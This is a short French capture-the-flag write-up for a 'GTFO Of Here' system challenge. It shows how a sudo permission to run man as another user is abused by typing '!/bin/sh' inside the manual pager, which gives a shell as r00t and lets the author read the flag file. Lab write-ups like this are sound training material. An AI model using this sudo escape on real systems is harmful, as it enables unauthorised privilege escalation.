GTFO Of Here

Catégorie: Système Difficulté: - Flag: CTFREI{r4yt0_w4s_h3r3}

Challenge

Description


Le flag est situé ici : /home/r00t/flag/flag.txt

Nom d'utilisateur : jail Mot de passe : jail

ssh -p 4445 [email protected]

Solution

Une fois connecté en ssh, on vérifie nos droits avec la commande sudo -l :

jail@7255e9a6a24a:~$ sudo -l
Matching Defaults entries for jail on 7255e9a6a24a:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jail may run the following commands on 7255e9a6a24a:
    (r00t) NOPASSWD: /usr/bin/man

On a le droit d'utiliser la commande man en tant que r00t, de là, on pourra accéder à un shell interactif. Une fois dans la page de manuel de ls par exemple, on peut lancer une commande shell en tapant ! suivi de /bin/sh :

jail@7255e9a6a24a:~$ sudo -u r00t man ls

   [...]

       --block-size=SIZE
              with -l, scale sizes by SIZE when printing them; e.g., '--block-size=M'; see SIZE format below

       -B, --ignore-backups
!/bin/sh
$ whoami
r00t

Notre shell est bien en tant que r00t, on peut maintenant récupérer le flag.

$ cat /home/r00t/flag/flag.txt
CTFREI{r4yt0_w4s_h3r3}

Dernière mise à jour

Cet article vous a-t-il été utile ?